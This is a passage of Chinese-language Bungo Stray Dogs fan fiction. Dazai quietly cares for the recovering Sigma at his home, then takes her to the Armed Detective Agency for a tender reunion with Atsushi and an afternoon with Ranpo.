她在属于他的卧室里,或许正换上他为她挑选的那套柔软睡衣。 浅米色,棉质,和他想象中的她一样,干净又脆弱。 然后,她会躺在他睡过的床上,枕着他枕过的枕头,被他的气息无声包围。 他仿佛能“看见”她蜷缩在他的被褥间,半紫半白的发丝散在枕上,苍白的脸颊在睡眠中终于放松,或许还会因为低烧而泛着淡淡的粉。 仅仅是想象这个画面—— 太宰治放在额头上的手指微微收紧,指节泛起一点白,感觉心口被一种柔软至极的东西填满了,满得几乎要溢出来。 就觉得无比的可爱。 他无声地在心里对那个一墙之隔的人诉说。 从她紧张时揪住衣角的手指,到她茫然听讲时颤动的睫毛,从她因羞涩而泛红的脸颊,到她强撑平静报出孩子年龄时轻颤的嘴唇…… 你的一举一动,我都觉得如此可爱。 每一个细节,都被他贪婪地摄取、珍藏,然后在脑海中反复描摹。 这份“可爱”超越了外表,渗透进她笨拙的坚强、纯粹的困惑,甚至那深不见底的悲伤里。 它危险地撩拨着他常年冰封的心弦,发出连他自己都感到陌生而战栗的共鸣。 “呵……” 一声极轻的、气音般的笑从他喉咙里溢出。 太宰治放下搭在额头的手,转而用掌心轻轻覆盖住了自己的眼睛。掌心之下,睫毛刷过皮肤,带来细微的痒。 视线被彻底遮蔽,听觉却变得异常敏锐。 他捕捉着卧室方向任何一丝可能的声响。衣料的摩擦,床铺轻微的吱呀,甚至只是她翻身的窸窣。 然而一片寂静,只有他自己逐渐加快的心跳,在耳膜上敲击出清晰的鼓点。 视野陷入一片温热的黑暗,唯有脑海中她的影像愈发清晰。 指尖能感受到自己眼睑的微热,和底下加速搏动的血脉。 怎么办? 一种近乎无助的、甜蜜的焦灼感细细密密地蔓延开来,顺着脊椎爬升,让他几乎想蜷缩起来,又或者做点什么来宣泄这满溢的情绪。 或许是绕着房间走几圈,或许是打开窗户让冷风吹一吹发热的头脑。 可他什么也没做,只是维持着那个以手掩目的姿势,在空无一人的客厅里,独自消化着这份过于汹涌的悸动。 他的胸膛随着深呼吸缓缓起伏,每一次吸气,都仿佛能嗅到空气中残留的、属于她的极淡的气息,混合着新衣的纤维味和一丝若有若无的、温暖的奶香。 我好像……彻底折在你这里了。 这个认知,带着千钧的重量,却又轻盈得像一片终于寻到归宿的羽毛,稳稳地、不容置疑地,落在了他心湖的最中央。 没有惊涛骇浪,只有无尽的、温柔的涟漪,一圈一圈,缓慢而坚定地扩散开来,直至淹没所有试图抵抗的礁石。 太宰治维持了这个姿势好一会儿,久到窗外的光影又偏移了几分,才慢慢地将手从眼前移开。 掌心离开皮肤,带来一丝微凉的触感。 鸢色的眼眸重新暴露在光线下,眼底翻涌的波澜尚未完全平息,却已沉淀下一种更为深邃的、近乎认命的柔和。 那是一种放弃挣扎后的平静,甚至带着一丝奇异的满足。 他偏过头,目光越过安静的客厅,久久地、静静地,凝注在那扇紧闭的卧室门上。 仿佛能穿透门板,看见里面安睡的身影。 最终,他只是极轻地叹息一声。 那叹息里没有无奈,只有一片浸润了樱花气息的、柔软的尘埃落定。 他重新拿起沙发上那本几乎没被翻阅的杂志,却不再试图去理解上面的任何文字或图片。 只是将它虚虚地握在手中,指尖无意识地、一遍又一遍地,摩挲着光洁的铜版纸页边缘。 目光时而落在纸面上,时而飘向那扇门,时而望向窗外悠然飘落的樱瓣,在这三者之间缓慢游移。 —————— 西格玛睡得很沉。 这沉眠并非全然安宁,像跌入一片温暖的深海,意识在光影交织的底层浮沉。 梦中没有清晰的画面,只有一些朦胧的感知与断续的碎片。 冰凉指尖触及皮肤的触感,消毒水混杂着淡淡血腥的气息,耳边似乎有谁在遥远的地方低语,还有……樱花。 无边无际的、安静飘落的樱花,柔软地覆盖住所有尖锐的痛楚和喧嚣的记忆,带来一种近乎麻痹的平静。 她在睡梦中无意识地蜷缩起身子,将脸更深地埋进枕头。 枕头和被子带着一种清爽的、类似洗涤剂晒过阳光的味道,还有一种极淡的、难以形容的、属于这个空间主人的气息。 一种微涩的、像是旧书卷混合了清冽空气的味道,并不令人讨厌,反而在无形中形成了一种奇异的包围感,像一道无声的屏障,暂时隔开了外界的一切。 身体深处残留的疲惫和疼痛,在“请君勿死”治愈了致命伤后,并未完全消散,此刻在深度睡眠中才真正得到缓慢的修复与抚慰。 低烧带来的昏沉感,也在这漫长的一觉中悄然褪去了一些。 不知过了多久,意识才像浮出水面的气泡,一点一点,艰难地聚合。 最先恢复的是听觉。 窗外隐约传来午后更显慵懒的零星车声,还有风吹过树叶的沙沙细响。 很近的地方,似乎有极轻的、规律的……水声?和锅具被轻轻放置的磕碰声。 然后,嗅觉苏醒了。 空气中飘散着一股……温暖的食物香气。 淡淡的、诱人的米香,似乎还混合着清爽的昆布和高汤的味道,或许还有一点点蒸鱼的鲜甜。 这气味并不浓烈,却无比真实地钻入鼻腔,勾动着沉睡了许久的、属于“活着”的本能。 西格玛的睫毛颤了颤,缓缓睁开。 视野先是模糊的一片,天花板的颜色是陌生的米白,吊灯的款式也很简单。 她怔怔地看了几秒,混沌的思绪才开始缓慢运转。 这里不是天空赌场,不是那所冰冷苍白的囚室,也不是任何她曾短暂停留过的、充斥着不安与算计的地方。 身体的感觉也逐渐清晰。身下是柔软却有着适度支撑的床垫,身上盖着的被子轻暖。 她微微动了动,身上奶白色的柔软睡衣带来温柔的质感。 记忆的碎片终于拼凑起来。 武装侦探社。治疗。购物。樱花道。然后……被带回了这里。 太宰治的家。 这个认知让她心脏轻轻一缩,却不是出于恐惧。 而是一种更复杂的、混杂着茫然、无措,以及一丝极细微的……类似“安心”的陌生情绪。 西格玛撑着手臂,慢慢坐起身。 睡了一觉,精神似乎好了一些,但身体依旧沉重,低烧带来的轻微眩晕感还在。 她环顾这间简洁的卧室,除了床、衣柜和小小的床头柜,几乎没有多余的陈设,干净得近乎空旷,却也意外地让人紧绷的神经得以松懈。 她掀开被子,双脚触到微凉的地板,站起身时微微晃了晃。走到窗边,轻轻拉开一点窗帘。 午后偏斜的阳光立刻涌了进来,有些刺眼。 西格玛眯起眼,看到楼下安静的街道,以及远处屋顶上依旧可见的、连绵如淡粉色云雾的樱花树。 食物的香气越发清晰了,就是从门外传来的。 她在原地站了片刻,似乎在积蓄勇气,也似乎在确认自己是否真的被允许踏出这个暂时的“安全屋”。 最终,她走到门边,握住冰凉的金属门把,轻轻拧开。 客厅的光线比卧室更明亮些。香气也更加浓郁地扑面而来,其中还夹杂着米饭将熟时特有的、令人安心的甜香。 西格玛走出房门,视线下意识地寻找。 太宰治正站在开放式小厨房的料理台前。 他身上还穿着那件沙色风衣,只是袖子卷到了手肘,露出线条流畅的小臂。 他背对着她,微微低头,似乎在处理什么。电磁炉上小巧的炖锅正咕嘟咕嘟地冒着极其轻微的热气,旁边的电饭煲显示着保温的绿灯。 似乎是听到了身后极其轻微的脚步声,也可能是某种更微妙的直觉,太宰治的动作顿了一下。 他没有立刻回头,而是不慌不忙地将手中切好的、嫩绿色的葱花轻轻撒入面前一个盛着浅褐色酱汁的小碟子里,做完这个动作,他才转过身。 午后煦暖的阳光恰好从他侧面的窗户照进来,给他轮廓分明的侧脸镀上了一层柔和的毛边。 他看到站在卧室门口、穿着奶白色的睡衣、头发还有些睡乱了的西格玛,眼底迅速掠过一丝几乎看不见的、柔和的光。 他嘴角自然地上扬,那笑容不像平日刻意夸张的轻快,而是带着一种家常的、令人放松的温和。 “啊,正好。”他的声音也放得轻缓,仿佛怕惊扰了这午后宁静的氛围,“我刚想过去叫你。午餐差不多准备好了。” 他边说边走向料理台,关掉炖锅的火,又掀开电饭煲看了一眼,满意地点点头。 “看来时间掐得刚好。” 他转向西格玛,目光在她依旧苍白的脸上停留了一瞬,语气寻常得像是在讨论天气,“睡得还好吗?头疼或者晕眩有没有好一点?” 西格玛看着他熟练而自然的动作,听着这平淡却充满生活气息的对话,一时有些恍惚。 她轻轻点了点头,声音带着刚醒不久的微哑:“……好一些了。谢谢。” “那就好。” 太宰治笑了笑,开始将菜肴从锅里盛到洁白的瓷盘中。 是看起来很清淡的煮物,里面有鱼肉、豆腐、萝卜和香菇,汤汁清澈。 旁边还有一小碟颜色鲜亮的凉拌菠菜,以及他刚刚调好的那个葱花酱汁。 “你的烧还没完全退,肠胃可能也比较弱,所以准备了点清淡易消化的。”他一边摆放碗筷,一边随口解释,态度自然得仿佛这是再平常不过的事。“先过来坐下吧,趁热吃。” 西格玛依言走到小小的餐桌旁坐下。桌布是简单的格纹,餐具洁白。食物的热气袅袅升起,带着温暖的香气。 这一切都透着一种她几乎从未体验过的、寻常的“家”的感觉,让她心口那处空茫的地方,泛起一丝微弱的、酸涩的暖意。 太宰治也端着自己的那一份坐下,却没有立刻动筷,而是看着她,仿佛在等待什么。 短暂的安静后,他像是忽然想起似的,用一种商量般的口吻开口:“对了,下午我需要去侦探社一趟。有些事情要处理。” 西格玛握着筷子的手指微微收紧,抬起眼看他。 太宰治迎着她的目光,嘴角的弧度温和依旧,鸢色的眼眸里却带着一丝了然的洞察,以及某种小心翼翼的试探。 他顿了顿,声音放得更轻了些,仿佛在陈述一个再自然不过的提议: “西格玛,要跟我一起去吗?” 西格玛愣住了。去武装侦探社?以什么身份?一个被收容的、需要监管的前“敌人”? 似乎看穿了她的迟疑和瞬间升起的戒备与茫然,太宰治没有催促,只是安静地等待着。 他的手指无意识地在光滑的桌面上轻轻敲了一下,随即停住。 然后,他用一种近乎轻柔的、却带着奇异穿透力的声音,补上了那句似乎早已准备好的话: “你……也想去见见敦吧?” 这句话像一颗小小的石子,精准地投入西格玛看似平静的心湖。 “敦”这个名字,让她的睫毛猛地颤动了一下。 脑海中瞬间闪过天空赌场冰冷华丽的穹顶,闪过那个银发少年焦急的、不顾一切伸向她的手,闪过他眼中那种纯粹的、毫无杂质的“想要拯救”的光芒。 那是她在坠落途中,抓住的……唯一一丝真实的温暖。 她垂下眼帘,看着碗中清透的汤汁里微微晃动的豆腐。 心脏在胸腔里缓慢而沉重地跳动了一下,带着钝痛,也带着一丝连她自己都未曾明确意识到的、微弱的渴望。 是的。她想。 想确认那个少年是否安好,想……再次见到那双明亮的眼眸。 尽管她深知自己或许不配再与之产生交集。 这份渴望与自我否定在内心交战。沉默在小小的餐桌间蔓延,只有食物微弱的香气在静静流淌。 过了好一会儿,就在太宰治几乎以为她会摇头拒绝时,西格玛终于,极轻地、几乎难以察觉地,点了 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温热的液体滑入食道,昆布和鲣节熬出的高汤底味清淡却层次分明,带着一丝回甘,瞬间唤醒了沉睡已久的味蕾,也熨帖了空乏的胃袋。 她吃得很慢,动作带着大病初愈后的轻微无力,却异常认真。 每一口食物都被仔细咀嚼后才咽下,仿佛在确认这真实的饱腹感。 太宰治准备的份量并不多,恰好是她能吃完又不会造成负担的程度。 太宰治这时才开始动筷。他吃东西的姿态是难得一见的斯文,没有平日那种夸张的表演感,只是安静地、专注地进食。 偶尔,他会用公筷为西格玛夹一两块容易入口的鱼肉或豆腐,动作自然得像是一种习惯。 “味道还可以吗?”他轻声问,语气里没有刻意的讨好,只有单纯的确认,“会不会太淡?” 西格玛摇摇头,声音很轻:“……刚好。很好吃。” 她说的是实话。这简单的食物,对她此刻的身体和心境来说,是恰到好处的抚慰。 “那就好。”太宰治笑了笑,没再多说,只是将凉拌菠菜向她那边推近了些,“这个补充维生素。” 午餐的过程大部分时间在沉默中流淌。 但这沉默并不尴尬,反而被食物的热气、碗筷偶尔的轻碰声,以及窗外持续不断的、温柔的午后光线填满,成为一种令人安心的背景音。 西格玛偶尔会抬起眼,目光掠过对面坐着的男人。 他垂着眼,长而密的睫毛在眼睑下投出淡淡的阴影,吃饭时下颌线微微动着,神情是罕见的平和,甚至有种……居家的松弛感。 这和她认知中那个神秘、危险、永远带着浮夸笑容的“太宰治”似乎有所不同。 可这种不同,并不让她感到不安。 吃到一半时,太宰治放下筷子,端起手边的水杯喝了一口,像是闲聊般开口:“侦探社的大家……虽然各有各的古怪,但本质上都不是坏人。” 他顿了顿,目光飘向窗外一瞬,“国木田君看起来严肃,其实责任心过剩;与谢野医生手法豪迈,却是最在乎生命的人之一;乱步先生是天才,偶尔孩子气……至于敦君,” 他提到这个名字时,声音有意放得更缓,目光重新落回西格玛脸上,捕捉着她细微的反应。 “那孩子有点笨拙,总是过分自责,把太多不属于自己的责任扛在身上。” 太宰治的语气里带着一丝不易察觉的、近乎长辈的无奈与宽容,“但他想救人的心,从来都是真的。比真金还要真。” 西格玛握着勺子的手指微微收紧。她想起了天空赌场,那不顾一切伸向她的手,那双紫金色眼眸里迸发出的、近乎燃烧的决绝光芒。 那光芒太烫,烫得她几乎想要缩回自己冰冷的壳里,却又不由自主地被吸引。 “……我知道。”她低声说,声音几乎淹没在汤碗的热气里。 太宰治看着她低垂的、微微颤动的睫毛,没有再继续这个话题。 有些东西,点到即止。 他转而说起一些无关紧要的事。 比如侦探社楼下咖啡厅的招牌三明治其实味道不错。 比如国木田独步对完美日程表的执着已经到了令人叹为观止的程度。 语气轻松,带着他特有的、略带调侃的叙述方式,却奇妙地驱散了刚才那片刻的沉重。 西格玛静静地听着,虽然很少回应,但紧绷的肩膀却在不知不觉中松缓下来。 这平淡的、带着生活气息的闲聊,像一层柔软的纱,轻轻覆盖在她伤痕累累的神经上。 午餐接近尾声时,西格玛碗里的食物已所剩无几。她吃得比想象中多一些,或许是因为身体确实需要能量,也或许是因为这餐饭本身带来的、难以言喻的安宁感。 太宰治看着她放下筷子,才将自己碗里最后一点米饭吃完。 他没有急着收拾,而是等了一会儿,仿佛在给予她消化和缓神的时间。 “需要再休息一下吗?”他问,“离出门还有一会儿。” 西格玛摇摇头。睡了很久,又吃了些东西,精神反而清明了一些。 身体虽然依旧感到深层的疲惫,但那种虚浮无力的眩晕感已经减轻了许多。 “那好。” 太宰治站起身,抬手将身上的沙色风衣脱下,随手搭在身旁的凳背上,而后开始利落地收拾碗筷。 “你去换身出门的衣服吧。就穿今天买的那套就可以,外面有风,外套要穿上。” 他交代得很自然,像早已安排妥当。 西格玛点点头,起身走向卧室。 关门之前,她回头看了一眼。 太宰治正背对着她站在水槽前,挽起的袖子下小臂线条流畅,他微微低着头,专注地冲洗着碗碟。 午后的阳光将他微卷的发梢都染上一层暖融融的光晕。 水流声哗哗,是这个静谧午后唯一清晰的声音。 这个画面,连同刚才那顿安静温暖的午餐,一起悄然刻进了西格玛记忆的某个角落。 带着食物真实的香气,阳光确切的温度,和一个男人沉默却周到的陪伴。 她轻轻关上门,背靠在门板上,深吸了一口气。 胸腔里那股沉甸甸的空茫似乎并未消失,但某个角落,仿佛被注入了一点点极其微弱的、带着温度的东西。 她走到床边,拿起那套叠放整齐的米白色针织衫和格纹半身裙,还有那件浅米色的长款风衣。 指尖拂过柔软的面料,她开始慢慢换上。 水流声停了。 太宰治用干净的软布将碗碟逐一擦干,放进橱柜该有的位置。 料理台恢复了整洁,午后的阳光铺在上面,亮堂堂的一片。 他站在那里,目光扫过台面,落在了那只装着吸奶器和母乳的袋子上。 他走过去,从橱柜里取出一个干净的玻璃杯,拿起烧水壶。 水流哗哗,注入杯中,透明的水柱在阳光下折射出细碎的光。 太宰治的动作不疾不徐,带着一种奇异的专注,仿佛这是此刻最重要的事。 他将接满热水的杯子轻轻放在料理台上,靠近那个袋子。 指尖离开温热的杯壁,他顿了顿,目光掠过那鼓鼓囊囊的袋子和里面隐约可见的瓶子,又迅速移开,耳根泛起一丝极淡的、几乎看不见的红。 他并非不知人事的少年,可正因知晓,此刻联想到这背后所代表的意义。 一个新生儿与母亲最原始的连结,一种隐秘而强烈的生命需求——就让这液体多了几分难以直视的私密与重量。 他轻轻吁了口气,将那点不自在压下,又从冷水壶里兑了些凉水进去,用手背试了试杯壁的温度。 刚好。 太宰治拿起玻璃杯和西格玛留在桌上的药片,走到卧室门前,敲了敲。 “西格玛,该吃药了。” 门很快打开。 西格玛已经换好了衣服,米白色的针织衫柔和地贴合身形,格纹裙摆垂落膝下,浅米色的风衣还搭在臂弯。 她的脸色依旧有些苍白,但眼神是清醒的。 “谢谢。”她低声说,接过他递来的水杯和药片。水温透过玻璃传来恰到好处的暖意,不烫手,也不凉。 太宰治就站在一旁安静地看着。 她仰头将药片放入口中,然后喝水,喉间轻轻滑动,咽下。 整个过程很安静,很顺从,带着一种虚弱的乖觉。 阳光穿过客厅,在她低垂的睫毛上跳跃。 吃完药,西格玛握着还有余温的空杯,抬眼看他,像是在等待下一步的指示。 “把外套穿上吧,”太宰治的声音不自觉地放轻了些,“我们差不多该出发了。” “嗯。”西格玛点点头,将风衣展开,穿好。柔软的布料裹住她,似乎也稍稍拢住了一些飘散的无措。 太宰治接过她手中的空杯,指尖先触到杯壁,便清晰地感受到上面残留着她微凉的体温。 他转身走向厨房,将杯子洗净,倒扣在沥水架上。 一切就绪。 太宰治走回客厅,拿起自己搭在椅背上的沙色风衣,利落地穿上。 “走吧。”他说。 —————— 武装侦探社的午后总是浸在暖融融的阳光里,木质窗棂滤过细碎的光影,落在铺着旧报纸的长桌上。 中岛敦正低头整理着案件卷宗,指尖刚触到一沓整理好的文件,门口便传来了太宰治漫不经心的声音:“敦,带这位客人去会客室。” “啊,好的,太宰先生。”中岛敦下意识地抬头应答,话音刚落,呼吸便在瞬间停滞。 西格玛就站在大门处,一身素净的衣物衬得她身形愈发纤细,独特的半紫半白的长发格外显眼,几缕碎发垂在颈侧,衬得那秀美的面容更加柔软。 她的脸色比在赌场时好了许多,褪去了那时的苍白,只是眼底还藏着一丝不易察觉的紧张,正有些无措地攥着裙摆。 从踏入侦探社大门的那一刻起,西格玛就做好了遇见中岛敦的准备。 毕竟这里是他工作的地方,碰面本就是大概率的事,只是真到了这时候,心里还是没底。 四目相对的刹那,时间仿佛被按下了暂停键。 中岛敦脑海里瞬间闪过那天高空坠落的画面——她垂落的发丝、释然的浅笑,还有最后从他掌心滑落的温度,每一个细节都清晰得如同昨日。 他下意识地站起身,椅子腿在地板上划出刺耳的声响,连指尖都在微微发颤:“西、西格玛小姐……” 西格玛的眼眸里没有太多错愕,只有一种“果然如此”的平静,随即又被翻涌的情绪淹没,有茫然,有感激,还有一丝难以言喻的怅然。 她张了张嘴,喉咙像是被什么堵住,那些在心里排练了无数遍的话——“谢谢你”“我还活着”“好久不见”,此刻却堵在舌尖,一个字也说不出来。 她只是怔怔地看着他,抿了抿唇,攥着裙摆的手又紧了紧。 中岛敦绕过那张堆满卷宗的长桌,快步走到她面前。 脚步有些急促,却又在靠近她的时候放慢了一些,像是怕惊扰到什么易碎的东西。 两人之间的距离从五六步缩短到三步,从三步缩短到一步。 他站在她面前,微微低着头,看着她。 少年人脸上带着毫不掩饰的欣喜。 那欣喜如此纯粹,如此真实,如此毫无防备。 像是久雨之后突然放晴的天空,像是漫长黑夜之后终于到来的黎明。 其中还夹杂着几分后怕的激动。 是失而复得、难以置信,需要反复确认才能安心的激动。 他又想起那天在高空,她轻声说“要是能早点遇见你就好了”。 想起自己无能为力的嘶吼,想起那种抓不住任何东西的绝望。 此刻,看着近在咫尺的人,中岛敦深吸一口气,声音带着少年人特有的真挚,一字一句地说道:“现在遇见,也不晚。” 西格玛浑身一僵,瞳孔微微收缩。 心脏像是被什么东西轻轻撞了一下,酸涩又温暖的情绪瞬间蔓延开来,驱散了这些日子以来的不安与惶恐。 她垂在身侧的手指微微蜷缩,眼底的怯懦渐渐被柔软取代,嘴角缓缓勾起一个轻浅的弧度。 那笑容很淡,褪去了那日高空之上的悲伤,只剩下释然与暖意。 她轻声回应。 声音清浅得如同落在湖面的细雨,轻轻的,带着微微的颤音,却无比坚定。 “是啊,不晚。” 像是在回应少年。 也像是在回应曾经绝望的自己。 阳光恰好落在她的发梢,为她镀上一层柔和的金边。 中岛敦看着她的笑容,也忍不住笑了起来。 连日来压在心头的阴霾,一扫而空。 27. 平静 不远处的会客室门边,两道人影静静倚着门框,将入口处那场短暂却足以牵动人心的重逢尽收眼底。 江户川乱步不知何时已经剥开了一颗玻璃纸包裹的糖果,正慢悠悠地送进嘴里。 他翠绿的眼眸微微眯起,目光像最精准的探照灯,掠过中岛敦毫不掩饰的激动。 最终,那目光长久地停留在西格玛身上。 停留在她细微颤抖的指尖,停留在她因那句“不晚”而骤然柔软下来的眉眼,也停留在那抹褪去绝望后、清浅却真实的笑容上。 他看得过于专注,连平时总挂在脸上的、孩子气般理所当然的神情都收敛了些。 取而代之的,是一种罕见的、带着纯粹审视与探究的兴趣。 这个诞生仅三年却已是两个孩子母亲的存在,这个被太宰治亲自带回来、身上糅杂了极端脆弱与惊人坚韧的矛盾体,就像一本突然被摊开在他面前的、用陌生文字书写的奇书。 每一页,都散发着引人探究的气息。 他歪了歪头,糖果在脸颊一侧鼓起一个小包。 然后,江户川乱步开口,声音不高,却清晰地传入身旁太宰治的耳中,带着他特有的、直指核心的敏锐: “你这么做,没问题吗?” 他没有明指“什么”有问题,但意思再清楚不过。 让西格玛与曾试图拯救她、并显然在她心中占据特殊位置的中岛敦见面,在眼下这个她身份敏感、心绪未稳的节点。 太宰治没有立刻回答。 他仍旧保持着倚靠门框的姿势,双手插在沙色风衣的口袋里,目光同样落在那两人身上。 他看到西格玛嘴角那抹极淡却真实的笑意,看到她眼中逐渐化开的冰层,也看到中岛敦如释重负后明亮起来的眼神。 他的嘴角,在江户川乱步看不见的侧面,几不可察地向上弯了弯。 那不是一个计划得逞的笑容,也不是惯常的漫不经心,而是一种更为复杂、掺杂了温柔洞察与一丝几不可见的涩然的弧度。 “但是,”他开口,声音平稳,甚至带着点轻松的笑意,目光却未曾从西格玛身上移开,“西格玛很开心,不是吗?” 这句话说得极其自然,仿佛“西格玛是否开心”是此刻唯一重要、也唯一值得衡量的标准。 江户川乱步闻言,翠绿的眼眸倏地转向太宰治,里面飞快地掠过一丝货真价实的惊讶。 他咀嚼糖果的动作都停了一瞬,像是不敢相信这句话会从这个男人嘴里如此顺畅地说出来。 江户川乱步上下打量了太宰治一眼,目光在他难得显得平和甚至柔和的侧脸上停留片刻,像是要确认眼前的人是否被掉包了。 然后,他像是发现了什么极其有趣的事情,嘴角也翘了起来,那笑容里带着点促狭,更多的是了然:“嘿诶——” 他拖长了语调,翠眸里闪烁着洞悉一切的光芒,语气是毫不掩饰的惊奇与调侃:“你这家伙,竟然会这么想?” 那个将人心视为棋局、习惯性保持距离、用层层伪装包裹自己的太宰治,此刻居然会用“她是否开心”来作为行动的理由和辩护? 这简直比任何复杂的谜题都更让名侦探感到“有趣”。 太宰治终于将目光从西格玛身上收回,偏过头,对上乱步那双仿佛能看透一切的眼睛。 他脸上的笑容加深了些,那笑意终于染上了一点他平日里熟悉的、带着些许自嘲和无可奈何的调子。 他耸了耸肩,姿态看起来依然放松,插在口袋里的手却几不可查地微微动了一下:“没办法呀。” 他轻声说,语气像是叹息,又像是某种程度的坦白。 鸢色的眼眸深处,掠过一丝连他自己都无法完全厘清的、柔软又复杂的微光。 这句话说得轻飘飘的,却仿佛承认了什么。 承认了那种不由自主的注视,承认了那份超出计算的在意。 也承认了在“西格玛是否开心”这个简单命题面前,他那些惯常的权衡、疏离与掌控,似乎都变得不那么重要了。 江户川乱步看着他,眼中的促狭渐渐沉淀为一种更深的理解。 他没有再追问,只是“咔嚓”一声咬碎了嘴里的糖果,重新将目光投向会客室门口。 那里,中岛敦正引着西格玛向里走去,少年的背影带着点小心翼翼的雀跃,而西格玛的步伐虽然依旧轻缓,却不再像刚进门时那般紧绷无措。 阳光透过窗户,将两人的影子拉长,安静地投在侦探社老旧却温暖的地板上。 江户川乱步翠绿的眼眸微微弯起,像是在欣赏一幅终于拼对关键的拼图。 他含着糖果,用只有自己能听见的音量,含糊地嘀咕了一句:“……看来,找到了比‘书’更有意思的谜题了呢,太宰。” 翠色的眼眸又裂开一道细缝,目光追着那道少女的背影,亮闪闪的,漾着浓得化不开的兴味。 自己也是呢。 而太宰治,只是静静地看着西格玛的背影消失在会客室门内,然后收回目光,望向窗外被阳光照得发亮的街景。 插在口袋里的手指,轻轻蜷缩了一下,又缓缓松开。 中岛敦的工位附近,弥漫着午后特有的、带着点纸墨气息的安静。 西格玛刚在中岛敦热情的指引下,在他旁边的空椅子上坐下没多久,一阵规律而有力的脚步声便由远及近。 国木田独步拿着文件夹走了过来,镜片后的目光首先落在中岛敦身上。 “敦,准备一下,三点钟和委托人的面谈,你和我一起去。” 他的声音一如既往的严谨可靠。 “是,国木田先生!”中岛敦立刻站起来。 国木田独步这才将视线转向一旁的西格玛。 他的目光在她身上停留了一瞬,比公事公办的打量略长一点点,又迅速收敛得恰到好处。 他朝西格玛幅度很小但很清晰地点了点头,语气比平时稍缓:“西格玛小姐。” 西格玛有些意外,但很快也微微颔首回应:“国木田先生。” 他的目光似乎掠过她略显苍白的脸色和有些单薄的外套,眉头几不可察地动了一下,但最终没说什么,只是再次点点头,便对中岛敦示意:“走吧。” 中岛敦连忙对西格玛说:“那,西格玛小姐,我先去工作了!” 西格玛看着他急切又不好意思的样子,愣了一瞬,才轻轻开口:“……再见。” “嗯!再见!” 中岛敦敦笑着挥挥手,快步跟上了国木田。 国木田独步走在前面,脚步稳健。 在拐弯前,他的视线似乎不经意地又扫过西格玛安静坐着的身影,指尖在文件夹的边缘轻轻按了一下,才彻底消失在走廊那头。 几乎就在他们离开后不久,太宰治和江户川乱步便晃晃悠悠地出现在了办公区。 太宰治走路的姿势有点蔫,和平日那种轻飘飘的散漫不太一样,更像是被什么无形的东西压弯了腰。 他慢吞吞地挪到自己的工位旁,叹了口气,整个人像没了骨头似的往椅子上一靠。 江户川乱步倒是心情很好的样子,嘴里含着新拆的糖果,翠绿的眼睛饶有兴趣地看着太宰治这副样子。 “哎呀呀,”太宰治有气无力地开口,目光哀怨地投向国木田独步工位方向,“国木田君真是严格啊……说什么‘不处理完今日份的报告就不准下班’……” 他拖长了调子,然后,视线转向安静坐在一旁的西格玛,那点刻意装出来的哀怨里,掺入了一丝真实的无奈,“还特意补充说,‘西格玛小姐由你看管,你总不能让她陪着你一起加班吧?’……真是的,完全被看穿了啊。” 这句话显然精准地制住了他随时可能溜号摸鱼的心思。 为了不让西格玛干等着,他今天下午恐怕不得不认真对付那些堆积的文件了。 西格玛的目光从太宰治身上,移到了他旁边那位穿着侦探披风、眯着眼笑的名侦探身上。 她记得他,江户川乱步,武装侦探社的核心。 西格玛思考了一下,想起之前和江户川乱步见面时的话语,用他所想要的称呼称呼他。 “乱步,下午好。”她声音轻轻地说。 江户川乱步的眼睛瞬间弯成了月牙,显然对这个称呼十分满意。 “下午好呀,西格玛!” 他语气欢快,随即从口袋里掏出一小包精致的动物饼干,递过去,“给,零食!很好吃哦!” 西格玛看着他坦率热情的笑容,迟疑了一下,还是伸手接过,低声说:“谢谢。” 她拿出一块小兔子形状的饼干,慢慢地、小口地吃起来。 饼干很甜,带着奶香。 整个下午,西格玛就安静地坐在太宰治工位旁那张略显老旧的木椅上。 太宰治难得地收敛了大部分玩世不恭,坐在桌前,眉头微蹙,专注地翻阅、书写着文件。 阳光逐渐西斜,将他侧脸的轮廓和飞舞的笔尖镀上柔和的金边。 江户川乱步也没回自己的位置,而是拖了把椅子坐在附近,有一搭没一搭地和西格玛聊天。 大多数时候是他在说——各种奇奇怪怪的案件、横滨街头哪家点心铺子的新品最好吃、他对某些委托人的犀利吐槽……话语跳跃,天马行空。 西格玛只是听着,偶尔在间歇轻轻“嗯”一声,表示她在听。 她不刻意迎合,也不会因为话题的跳跃而不知所措,只是安静地接收着这些纷杂的信息流。 太宰治偶尔会从文件中抬起头,插一两句话。 有时是精准的吐槽,有时是补充某个案件的细节,有时只是漫不经心地将江户川乱步跑偏的话题轻轻拉回来一点。 他并非仅仅沉默地工作,而是以一种松弛又自然的方式,参与着这场单方面为主的闲聊,让气氛不至于冷场,也不会让江户川乱步觉得是在对空气说话。 聊着聊着,江户川乱步突然停下来,翠绿的眼睛认真地看向西格玛,语气里带着一种发现新大陆般的愉快:“我说啊,你这家伙,很不错嘛。” 西格玛正在小口啜饮太宰治之前给她倒的、已经变温的水,闻言愣了愣,长长的睫毛颤了一下。 她不太确定这句没头没尾的夸奖具体指什么,是夸她安静?还是夸她……陪在这里? 她犹豫了一下,才带着点不确定,轻声回应:“……谢谢?” 江户川乱步看着她略带困惑却认真回应道谢的样子,一下子笑了起来,心情变得更好了。 “没错没错,就是在夸你哦!”江户川乱步又从他那仿佛无穷无尽的零食袋里摸出一包曲奇,递给西格玛,“奖励!” 从对西格玛的投喂里,他早就察觉出来西格玛喜欢吃曲奇。 吃到曲奇时,眼睛都亮了一瞬间的样子,让他很难不注意到啊。 西格玛再次接过,小声道谢,然后继续安静地、慢慢地吃着这份带着善意的“奖励”。 酥松的甜香在舌尖漾开,她垂着的眼睫轻颤,眼底漾开细碎的光。 时间在笔尖的沙沙声、零食袋的窸窣声和断断续续的闲聊中流淌。 当日光彻底变成橘红色的夕晖时,太宰治终于放下了笔,将最后一份文件归拢,长长地伸了个懒腰。 “哈——总算搞定了。” 他转动了一下有些僵硬的脖子,看向西格玛,脸上露出熟悉的、轻松的笑意,“辛苦了,陪我这么久。一起去超市吧?刚好家里有些东西需要补充,顺便买晚餐的食材。” 西格玛点点头,从沙发上站起身。她转向一旁的江户川乱步,礼貌地道别:“乱步,再见。” “再见啦,西格玛!”江户川乱步笑眯眯地挥挥手,看着她跟在太宰治身边,两人一同离开了侦探社。 超市里灯火通明,正值下班时间,人流稍多,但并不拥挤。 太宰治推着购物车,步伐悠闲,时不时侧头和西格玛说几句话。 “胡萝卜看起来挺新鲜,晚上煮个味噌汤怎么样?或者你想喝点别的?” “嗯。” “牙刷该换新的了,你喜欢软毛的还是中毛的?这个颜色喜欢吗?” “都可以。” “啊,看到不错的苹果,买几个吧。” 他的提问都很具体,选择也给出明确的选项,不会让西格玛陷入“随便”的茫然。 